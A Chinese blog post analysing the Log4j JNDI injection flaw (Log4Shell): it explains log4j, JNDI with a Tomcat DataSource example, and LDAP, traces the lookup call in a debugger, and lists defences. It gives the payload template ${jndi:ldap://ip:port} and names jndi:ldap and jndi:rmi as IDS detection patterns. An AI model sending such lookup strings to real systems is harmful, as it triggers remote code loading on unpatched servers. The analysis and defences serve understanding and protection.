0x00 原理分析
log4j的介绍:
log4j是java打印输出日志的一个API,只要引入了log4j的jar包或者是在xml配置文件内配置好log4j即可输入java运行时产生的日志内容,一般用于记录网站的日志信息,比如用户登录、修改用户信息等sql查询操作。列如,在下图中,启动web服务,在lib目录下引入log4j的jar包(API工具包),当用户进行登录时,就能获取到用户的操作日志,如登录查询数据库内的某个表:
当用户输入账号密码时,log4j会打印其debug日志信息,包含账号密码等(这里存在一个信息泄露的风险)
jndi的介绍:
然后介绍一下jndi这个的含义:jndi(Java Naming and Directory Interface)看英文意思就明白,是java的命名和目录接口。
用法是:jndi:协议://目录(远程服务器的资源),以jndi为分界线,冒号后面的内容是jndi传入的内容,jndi接口会通过传入的内容去调用lookup方法。
这里需要浅谈一下jndi的使用:配置了很久,实战终于理解了jndi的含义,他原本的作用本来是用来做数据库连接使用的,就是通过配置,让tomcat提供一个上下文context对象,这个对象可以通过lookup方法设置好目录来,然后建立与数据库的连接。
(1)servlet代码:
package com.example.day45_jndi; import java.io.*; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import javax.naming.Context; import javax.naming.InitialContext; import javax.servlet.http.*; import javax.servlet.annotation.*; import javax.sql.DataSource; @WebServlet("/test") public class HelloServlet extends HttpServlet { @Override protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException { try { Context initContext = new InitialContext(); DataSource ds = (DataSource)initContext.lookup("java:comp/env/jdbc/day38"); Connection conn = ds.getConnection();//容易出错,这里要进行导包操作,导入数据库与java的驱动包 resp.getWriter().println(conn);; PreparedStatement ps = conn.prepareStatement("select * from tb_user"); ResultSet rs = ps.executeQuery(); resp.getWriter().println(rs.next()); resp.getWriter().println(rs.getString(1)); resp.getWriter().println(rs.getString(2)); resp.getWriter().println(rs.getString(3)); rs.close(); conn.close(); } catch (Exception e) { e.printStackTrace(); } } }
(2)tomcat的conf目录下的context.xml配置增加:
<Resource name="jdbc/day38" auth="Container" type="javax.sql.DataSource" maxActive="100" maxIdle="30" maxWait="10000" username="root" password="root" driverClassName="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/day38" />
(3)web.xml的配置:
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <welcome-file-list> <welcome-file>index.html</welcome-file> </welcome-file-list> <resource-ref> <res-ref-name>jdbc/mysql</res-ref-name> <res-type>javax.sql.DataSource</res-type> <res-auth>Container</res-auth> </resource-ref> </web-app>
(4)容易出错的点:需要导入一个jar包:可以直接在pom.xml中新增依赖
<dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.22</version> </dependency>
(5)实现的效果:获取数据库的连接对象及执行sql语句进行查询操作:
(6)总结:主要的用法,创建tomcat容器的上下文context,然后通过这个上下文根据目录去实例化一个数据库连接源的对象,再通过这个数据源去创建数据库连接:这里的lookup方法主要就是根据目录去实例化对象用的:
Context initContext = new InitialContext(); DataSource ds = (DataSource)initContext.lookup("java:comp/env/jdbc/day38"); Connection conn = ds.getConnection();//容易出错
所以可以这样理解,jndi是一种命名方式,是一种规范,提供给lookup方法或其他方法使用。他不止是可以访问jdbc的目录与服务,还可以访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA等
ldap的介绍:
来到ldap就变得更加简单,ldap是一种协议,与rmi的协议类似。都是通过去远程服务器上加载java序列化或反序列化后的对象,然后实例化对象后,方便程序猿在本地调用那个对象的方法。
LDAP全称是Lightweight Directory Access Protocol,轻量目录访问协议。顾名思义,LDAP是设计用来访问目录数据库的一个标准而已。
触发Lookup插件的场景是使用:${},如上述的${java:version} 表示使用Java的Lookup插件,传入值为version然后返回对应的结果,而此处的${jndi:ldap://ip:port} 则同理表示调用Jndi的Lookup传入值为 ldap://ip:port 。
0x01 效果演示
0x02 代码分析
分析的快捷键:
jndi的命名格式,调用方法为lookup。使用快捷键:ctrl+shift+alt+n,快速查找类中的方法:lookup()
然后在此方法处设置断点:debug模式运行java代码:
发现确实存在调用lookup方法:
然后调用的lookup方法就会去请求dnslog。
0x03 防御措施
1、采用最新版本的log4j组件
2、恶意流量中可能存在jndi:ladp:// jdni:rmi,IDS和WAF可以编写相应规则从流量中签出攻击流量;
3、添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
4、修改配置文件log4j2.formatMsgNoLookups=True
5、修改环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
6、关闭不必要的外网请求;
7、禁用lookup或JNDI服务;
8、jdk升级到最新的版本;
0x04 参考文献
https://blog.csdn.net/philip502/article/details/122255346
标签:JAVA,java,sql,jndi,lookup,import,RCE,log4j From: https://www.cnblogs.com/cute-puli/p/17134353.html